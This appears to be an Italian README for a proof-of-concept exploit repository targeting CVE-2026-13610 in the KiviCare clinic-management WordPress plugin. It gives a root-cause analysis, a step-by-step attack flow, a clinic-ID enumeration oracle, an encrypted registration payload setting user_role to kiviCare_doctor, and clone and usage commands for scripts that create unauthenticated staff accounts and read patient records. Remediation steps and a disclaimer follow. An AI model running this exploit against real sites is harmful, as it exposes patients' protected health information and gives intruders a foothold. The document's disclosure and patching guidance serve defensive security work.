CVE-2026-13610

KiviCare – Sistema di gestione di cliniche e pazienti <= 4.5.1 — Creazione non autenticata di account medico/receptionist tramite gestione dei privilegi impropria

CWE-269 (Gestione impropria dei privilegi) | Registrazione non autenticata con ruolo del personale scelto dall'attaccante → divulgazione delle PHI dei pazienti

Panoramica

Vulnerabilità critica nel plugin WordPress KiviCare – Sistema di gestione di cliniche e pazienti (versioni fino alla 4.5.1 inclusa) che consente a attaccanti non autenticati di registrare un account medico (kiviCare_doctor) o receptionist (kiviCare_receptionist) con una password autoselezionata, associato a una clinica scelta dall'attaccante.

La vulnerabilità esiste perché l'endpoint di registrazione pubblico prende il parametro user_role direttamente dal corpo della richiesta, e la sua whitelist di validazione include i ruoli del personale della clinica:

Dettagli della vulnerabilità

Analisi della causa principale

L'endpoint di registrazione POST /wp-json/kivicare/v1/auth/register (app/controllers/api/AuthController.php:237–242) è protetto solo da checkRegistrationPermission() (:602–650), che:

1. Restituisce true immediatamente se users_can_register è abilitato (nessun controllo di autenticazione).
2. Altrimenti controlla le impostazioni di ruolo del plugin — che di default sono consentite perché KCOption::get() restituisce null sulle installazioni predefinite.
3. Termina con return true alla fine della funzione.

Il gestore register() (:1277–1387) legge quindi user_role dal corpo della richiesta, lo mappa sui modelli KCDoctor / KCReceptionist e chiama $model->save() — che esegue wp_insert_user() e setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) senza alcun controllo di autorizzazione. L'account risultante è attivo e associato alla clinica scelta dall'attaccante.

La crittografia E2EE del corpo del plugin non costituisce una barriera: gli endpoint di handshake (server-key, config/register-key) non sono autenticati (app/controllers/api/ConfigController.php:190–205), quindi qualsiasi client può negoziare una chiave ospite e inviare un payload crittografato.

Procedura completa: analysis/TECHNICAL_ANALYSIS.md

Flusso dell'attacco

1. Handshake (encrypted targets):
   POST /wp-json/kivicare/v1/server-key               -> server X25519 public key
   POST /wp-json/kivicare/v1/config/register-key      -> register own public key
   (header x_kc_client_id: <anything>, body {"public_key": "<base64>"})

2. Enumerate a valid clinic ID via the validation oracle:
   "Invalid clinic selected"  -> clinic does not exist
   "Username already exists"  -> clinic exists

3. Encrypt the payload and send:
   POST /wp-json/kivicare/v1/auth/register
   body = base64( nonce(24B) || crypto_box(json) )

   {
     "username": "attacker",
     "email": "[email protected]",
     "password": "P@ssw0rd-123!",
     "first_name": "Att", "last_name": "Acker",
     "mobile_number": "+15550133777",
     "gender": "male",
     "user_role": "kiviCare_doctor",     <-- vulnerable parameter
     "user_clinic": 1
   }

4. HTTP 201 "Registration successful." -> active doctor account created

5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI

Installazione

git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt

Utilizzo

Controllo preliminare (impostazioni del target + handshake E2EE)

python preflight.py http://target.com

Creare un account medico (non autenticato)

python exploit.py --url http://target.com \
  --username attacker --email [email protected] --password 'P@ssw0rd-123!'

Lo script rileva automaticamente la modalità di trasporto (JSON semplice vs crittografato E2EE) ed enumera gli ID delle cliniche quando --clinic non viene fornito.

Dimostrare l'accesso ai dati clinici con l'account creato

python verify_impact.py --url http://target.com \
  --username attacker --password 'P@ssw0rd-123!'

Effettua il login tramite REST, ricollega la chiave di risposta E2EE dell'account, quindi chiama gli endpoint riservati al personale (/patients, /appointments).

Opzioni (exploit.py)

--url           Target base URL (required)
--username      Username to create (default: attacker<random>)
--email         Email (default: <username>@evil.example)
--password      Password (default: Poc!Passw0rd-2026)
--role          kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic        Clinic ID (auto-enumerated when omitted)
--mobile        Mobile number (default: random +1555...)
--first-name    First name (default: Dr)
--last-name     Last name (default: Poc)
--gender        Gender (default: male)
--no-verify     Skip post-creation login verification

Impatto

Uno sfruttamento riuscito produce un account del personale attivo associato a una clinica reale, senza bisogno di autenticazione:

• Lettura/esportazione delle PHI dei pazienti: cartelle cliniche, visite, prescrizioni, fatturazione
• Creazione/modifica/eliminazione di appuntamenti, sessioni, referti, prescrizioni
• Un account WordPress valido con accesso alla dashboard wp-admin (read + upload_files) — un punto d'appoggio per ulteriori attacchi

L'endpoint non consente di creare un account WordPress administrator (la whitelist di user_role lo rifiuta), ma il ruolo di medico è sufficiente per l'accesso completo ai dati clinici.

Rimedi

1. Imporre il ruolo paziente per i registranti non autenticati e applicare il parametro patient_role_only dichiarato
2. Spostare la creazione di account del personale su un endpoint riservato agli amministratori protetto da current_user_can('create_users') + verifica del nonce
3. Negare per impostazione predefinita in checkRegistrationPermission — rimuovere il fallthrough finale return true
4. Richiedere recaptchaToken quando reCAPTCHA è abilitato (attualmente opzionale)
5. Aggiornare KiviCare appena viene rilasciata una versione corretta

Riferimenti

• Voce NVD
• Pagina del plugin WordPress
• Analisi tecnica completa
• Patchstack.

Disclaimer

SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.

Questo strumento è destinato a ricercatori di sicurezza e penetration tester con esplicita autorizzazione scritta a testare i sistemi target. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento. Tutte le verifiche sono state effettuate sull'infrastruttura di laboratorio dell'autore.

Autore

ghostpels — Ricerca sulla sicurezza e sviluppo exploit

Licenza

Questo progetto è concesso in licenza secondo la ghostpels Security Research License.